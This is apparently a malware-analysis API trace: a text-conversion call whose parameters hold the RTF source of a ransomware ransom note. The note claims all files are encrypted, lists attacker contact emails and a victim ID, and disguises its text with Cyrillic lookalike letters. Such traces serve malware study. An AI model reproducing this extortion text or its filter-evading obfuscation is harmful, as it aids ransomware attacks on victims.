\\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 